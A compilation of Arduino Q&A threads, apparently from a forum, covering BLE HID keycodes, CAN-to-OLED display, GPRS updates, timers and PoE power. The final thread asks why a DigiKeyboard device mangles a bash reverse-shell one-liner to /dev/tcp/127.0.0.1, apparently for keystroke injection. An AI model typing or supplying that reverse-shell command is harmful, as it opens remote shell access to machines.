You can use the register names directly. They are defined in the boards/chips core. To read them, simply use the names in your calculations. Write to the registers by setting the value of the registers name (like a variable: TCNT0 = 0;). Be sure to look into the datasheet, to check the behavior of that register.


How do I send non-ASCII keys over the BLE HID connection using an Adafruit nRF52 Feather? The hid_keyboard example sketch shows how to send ASCII characters, but how can I send non-ASCII codes like the F1 key, or keys with shift/control modifiers?

Yo can use the keyboardReport() function to send key-codes with modifiers. Here is an example that will send an ! by sending the keycode for 1 plus a shift key modifier...

    // The keyboardReport() function takes an array of 6 keycodes. From what I can tell, it does not
    // press the keys consecutively,. it presses them simultainiously.

    // Here we only want to send one code, so we back-fill the array with HID_KEY_NONE

    uint8_t keycodes[6] = { HID_KEY_1, HID_KEY_NONE , HID_KEY_NONE , HID_KEY_NONE , HID_KEY_NONE , HID_KEY_NONE };
    blehid.keyboardReport( KEYBOARD_MODIFIER_LEFTSHIFT , keycodes );

    // This release seems to be required. Without it, the last pressed key just repeats forever.
    blehid.keyRelease();

The possible modifiers are listed here...
https://github.com/adafruit/Adafruit_nRF52_Arduino/blob/200b3aaefb3256ac26df82ebc9b5b58923d9c37c/cores/nRF5/Adafruit_TinyUSB_Core/tinyusb/src/class/hid/hid.h#L188

...and the possible keyscodes are listed here..
https://github.com/adafruit/Adafruit_nRF52_Arduino/blob/200b3aaefb3256ac26df82ebc9b5b58923d9c37c/cores/nRF5/Adafruit_TinyUSB_Core/tinyusb/src/class/hid/hid.h#L212

Unfortunately the hid_keycodes example does not compile, but bere is a ready-to-run example sketch showing how to send keycodes directly...

https://gist.github.com/bigjosh/5d8575f26988228dcf9d40c3795d0928


How can I display text on OLED? I'm trying to print the information, which is received from the other ESP32 by CAN transceiver, on an OLED. The CAN bus is working perfectly, as the 'HELLO WORLD' is already be received. But I can't print the received 'HELLO WORLD' on OLED (also the OLED is work). The code shows below,

#include <CAN.h>
#include <Wire.h>
#include <Adafruit_GFX.h>
#include <Adafruit_SSD1306.h>

#define SCREEN_WIDTH 128 // OLED display width, in pixels
#define SCREEN_HEIGHT 32 // OLED display height, in pixels

Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, -1);

void setup() {
  Serial.begin(115200);
  while (!Serial);

  if (!display.begin(SSD1306_SWITCHCAPVCC, 0x3C)) {
    Serial.println(F("SSD1306 allocation failed"));
    for (;;);
  }
  delay(2000);
  display.clearDisplay();
  display.setTextColor(WHITE);

  Serial.println("CAN Receiver");
  CAN.setPins(16, 17);
  // start the CAN bus at 500 kbps
  if (!CAN.begin(500E3)) {
    Serial.println("Starting CAN failed!");
    while (1);
  }
}

void loop() {
  // try to parse packet
  int packetSize = CAN.parsePacket();

  if (packetSize) {
    // received a packet
    Serial.print("Received ");

    if (CAN.packetExtended()) {
      Serial.print("extended ");
    }

    if (CAN.packetRtr()) {
      // Remote transmission request, packet contains no data
      Serial.print("RTR ");
    }

    Serial.print("packet with id 0x");
    Serial.print(CAN.packetId(), HEX);

    if (CAN.packetRtr()) {
      Serial.print(" and requested length ");
      Serial.println(CAN.packetDlc());
    } else {
      Serial.print(" and length ");
      Serial.println(packetSize);

      // only print packet data for non-RTR packets
      while (CAN.available()) {
        Serial.print((char)CAN.read());
      }
      Serial.println();
    }

    Serial.println();
  }
  delay(5000);

  display.clearDisplay();

  display.print((char)CAN.read());

  display.display();
}

Just guessing but looks to me like you read the CAN message and print it character by character to the Serial console but you don't save those characters in a buffer as you get them from CAN.read().
So when you then try to display.print((char)CAN.read()); at that point there are no more characters to available for the CAN.read() to read so nothing is printed by the display.print().
So what you need to do is to read the characters into a buffer so that you save them after reading them so that you can use the text string for other purposes.


Updating the ARDuino code over GPRS I've been searching a little for self-updating the ARDuino, and most i've come about is updating it using a wifi / lan shield.

Now I have a GPRS shield that can connect it to the internet. Say that I want to remotely update the shield - how would I go about doing that?

I'm guessing I need some kind of bootloader - but is that extra hardware?

Actually the question boils down to:

How can I flash the ARDuino Uno with new software, that I'll receive over a GPRS connection using a GPRS shield?

You would either have to replace the bootloader on your chip (software) with one that knows about your GPRS shield (I don't know if there is one, so you would most likely have to write your own and that is not a trivial task), or use a second microcontroller to act as a programming interface between the GPRS shield and the main Arduino.  That could be another Arduino.

The second option is probably the simplest to create:

The GPRS is connected to Arduino A.
Your main software runs on Ardiuno B.
Both Arduinos are connected by serial
Normal operation Arduino A passes all serial verbatim through to Arduno B
Arduino A receives programming instructions and downloads the new code - maybe storing it on an SD card temporarily (not enough RAM in an Arduino) then resets Arduino B into the bootloader.
Arduino A then sends the serial instructions in the same way that avrdude does to program the downloaded HEX file.

Arduino A is then a proxy between the GPRS and Arduino B.  Arduino A does all the control of the GPRS and sends data between Arduino A and the internet and vice versa - it's up to you to decide how best to achieve that, depending on what information you have going backwards and forwards.

Both solutions require a certain level of programming knowledge and skill and aren't trivial, but are perfectly possible if you set your mind to it.


What component can I use with an Arduino to measure the capacitance of objects? What component can I use with an Arduino to measure the capacitance of objects like a glass bottle or a roll of paper?

You can use the Arduino to measure capacitance using an RCtime approach (Google that for code examples), which requires that you have a known resistance for reference.  You should also have some known capacitors to make sure you have everything calibrated properly.
But it sounds like what you really want is more like "dielectric constant".  You can use
the same setup to measure that, by creating a standard reference capacitor consisting of two conductive plates of known area that you sandwich your unknown dielectric material between.  The value of capacitance is related to the surface area of the plates and to how close together they are... closer gives more capacitance.  Look up the formulas for this.
This is a standard Physics 101 experiment.
The problem is that unless you get very thin sheets of the material, you are not going to get a very high capacitance, which will make it hard to measure.  This is not going to be a trivial project.


Pic16f84a delay 250 second I dont know if that is the right place to put my question or no.
So my question is how to write a 250s delay using assembly for my pic16f84a

Wow, I remember the ol' 84a... That was my first ever microcontroller.

Making any long-term timing on a microcontroller is not an easy task.  If you have interrupts firing they can cause calibrated delay loops to be themselves delayed, and over long periods like 250 seconds small errors soon mount up into big errors.

So there's basically 2 ways to tackle delays without adding extra hardware - calibrated delay loops and timer interrupts.

A calibrated delay loop is a function that you can call and will delay for a known pre-defined period. Typically it involves counting the number of clock cycles required to both call an execute the delay function, and a loop with a number of NOP instructions used to make the delay the right length.  Getting the balance between the number of NOP instructions inside the loop and the number of iterations of the loop is important for accuracy - the number of NOP instructions basically sets the granularity of the delay.  Also as mentioned before, if an interrupt occurs the delay will itself be delayed and things will start to slip.  So it's a reasonable solution for rough delays for things like blinking an LED, but for long term timing it's not going to be accurate.

The second option is to use a timer interrupt.  Now, a timer runs much too fast to be able to time 250s.  So you need to time a much shorter period and "add them up".  For instance, I often set a timer to trigger once every millisecond, then in the interrupt routine I add 1 to a millisecond counter.  Then in a delay routine you just look at the start of it to see what the current millisecond count is, and then wait in a tight loop checking the new current millisecond count and comparing it to the old. When a certain time has elapsed then it's time to finish the delay.  For your situation it may be better to have the interrupt trigger once a second so you're just counting seconds rather than milliseconds (which means you're working with much smaller numbers - 250 instead of 250000).  However, this method does have down sides of its own: chiefly that you have a pre-defined granularity and your delay will be ± that granularity - that is you will start the delay "at some point during a second" and finish it "on a second", so there's some leeway around where you start the timing from.  The smaller your measured period the finer your granularity, and the more accurate your delay.

A third option, not grouped with those two above, is to use an external Real Time Clock (RTC) chip to do the timing for you.  That is by far the most accurate method over long periods of time, and most RTC chips have an alarm function that can trigger an external interrupt at a pre-specified time.


ATtiny461 PWM CTC mode help I am a beginner at AVR and programming. I am using ATtiny461 and asked to make code to use timer in PWM and CTC mode and use interrupts and pin toggle, this code worked for me with normal timer and toggle but I don't know how to make it work with CTC and PWM:

#include <avr/io.h>
#include <avr/interrupt.h>

//Init PD6 pin as output
void InitPort(void)
{
    PORTB&=~(1<<PB1);//initial value 0
    DDRB|=(1<<PB1);
}
//Initialize Timer0
void InitTimer0(void)
{
    //Enable Timer0 overflow Interrupt
    TIMSK|=(1<<TOIE0);
    //Set Initial Timer value
    TCNT1=5;
}
void StartTimer0(void)
{
    //Set prescaller 64 and start timer
    TCCR0B|=(1<<CS01)|(1<<CS00);
    //Enable global interrupts
    sei();
}
//Timer0 Overflow ISR
ISR(TIMER0_OVF_vect)
{
    //Reset Initial Timer value
    TCNT1=5;
    //toggle PD6 pin
    PINB=(1<<PB1);
}

int main(void)
{
    InitPort();
    InitTimer0();
    StartTimer0();
    while(1)
    {
        //doing nothing
    }
}

and I know those commands for setting fast PWM and CTC:

TCCR1D |= (0<<WGM10)|(0<<WGM11);
TCCR1A |= (1<<PWM1A)|(1<<COM1A0)|(0<<COM1A1);

PWM is only supported for timer1 on the ATTiny461. Not in timer0.

Look at TCCR1A; specifically the COM1xn bits.


Arduino nano does not draw enough power I am trying to run a sensor from my switch using POE. I have created a temp/humidity sensor using the MySensors directions https://www.mysensors.org/about/arduino.  I decided to use a nano due to the USB connector. I have connected this to my switch via a TP-Link POE splitter set to 5 volt output.

When connected, the switch provides power for a second or two then turns off for 10 seconds or so before coming on again. I believe the Switch is testing the circuit not detecting enough power being drawn and shuts down. It then goes through the cycle again. Note: both the power LED on the switch and the nano LEDS light up while power is supplied. I believe the nano itself only uses about 20mA

I have tested with another device that requires 9volts (hand held phone) via the splitter and it works fine with power provided consistently.

I was wondering if there is some circuitry I can add before the Arduino that will draw a little more current but still provide a constant 5V to the nano.

Additional information. The switch is a Linksys LGS124P. I have tried to find more detail regarding the required power but can only find this datasheet that does not provide that level of detail
http://downloads.linksys.com/downloads/datasheet/1224699456700/25685_LINKSYS_unmanaged_POE_switches_PROD_Revised.pdf

A resistor or a light bulb in parallel with the Arduino will increase the power consumption.


What is the purpose of the I/O pin capacitor on the AVR microcontroller? What is the purpose of the capacitor on the I/O pins on the ATmega328 (I imagine it's on other AVR microcontrollers as well)? Is it to reduce noise from other parts of the microcontroller?

To make explicit the implicit parasitic capacitance on the pin.


How to measure ultrasonic sensor without pulsein method? I am a front-end developer so I don't really know Arduino. Anyway, my teacher gave me a project.

In short, I have to measure distance with HC-SR04. But the problem is that the teacher wants me to use a timer. But I can't understand how can I do that.

Thank you for helping.

Rather than give you the straight answer in code form, consider this approach. If you learn how the unit works, you will be better prepared to answer questions presented to you.

The background of an ultrasonic distance measuring device is that it sends out a signal, in the form of sound you cannot hear. The device then listens for any echoes (bounce-back) of that pulse within a certain time period. This time period represents the distance range that the device can register. If the electronics are of poor quality, the minimum distance will be larger than if the device was of higher quality, as the amount of time for the pulse to bounce from a close-in object is going to be very short. The electronics have to be very fast to read such a short period of time.

There are libraries for ultrasonic devices such as the one you note, but that's the "easy way" to use it. If you perform appropriate searches, you will find there are references how to use direct timing for this device, which will satisfy the requirement you have been given.

I could perform the search and provide you a link, but that's half the work. Consider to use terms including your device identifier along with code and timing and you may find useful links. It is also very possible that you will find someone's pre-written code using the timing method.


Why do DigiKeyboard.print and println change my string? GOAL: I'm trying to use DigiKeyboard library but I'm facing a problem when I use print or println with character different from alphanumeric ones.

PROBLEM : I import the library as I've seen on others projects:

#include "DigiKeyboard.h"

Then I try to output this string "bash -i >& /dev/tcp/127.0.0.1/80 0>&1" using print method:

DigiKeyboard.print("bash -i >& /dev/tcp/127.0.0.1/80 0>&1");

But the output is messed up:

bash 'i :/ -dev-tcp-127.0.0.1-80 0:/1

Could you explain how can I solve?

SOLUTION: changing my keyboard layout to English(US) solved my problem.

Anyway I have still a doubt. How can I make the library work also with others layouts?

The problem is your keyboard layout.

The USB HID protocol was originally intended to include keyboard layout information in it (country code selection in the descriptor) however no one ever used it.  All keyboards have the same layout, but manufacturers just print different letters on the keys for different countries.  It's down to the operating system to map those key codes to actual characters using the keyboard layout selected in the operating system. (The original intended method of operation would have allowed keyboards to select their own language instead of having a single global one in the OS, but people do like to choose the cheapest option...).

The Arduino is effectively a US keyboard. The letters and numbers you "print" are first converted to their keyboard codes as they would appear on a US keyboard. Those keyboard codes are then converted back to letters and numbers using your Italian keyboard layout selected in the operating system.

You would get the same effect if you got a US keyboard and plugged it in. Pressing the keys for the symbols as printed on the keys themselves you give you the same wrong characters. Pressing the keys that you are used to pressing and ignoring what is printed on the keys would give you the right symbols.

So you have a number of options:

Use a US keyboard globally on your computer, which would break your existing keyboard layout, or
Modify the Arduino core to map the characters using an Italian keymap, or
Work out which characters you should be sending to get the right ones for your keymap, and change your code to send those characters instead.

Of the three I'd go for option 3.  Option 1 would be too annoying, option 2 would be undone with the next Arduino core update and you'd never remember what you did.  So spend some time and work out which characters, when you print them, result in which characters being typed.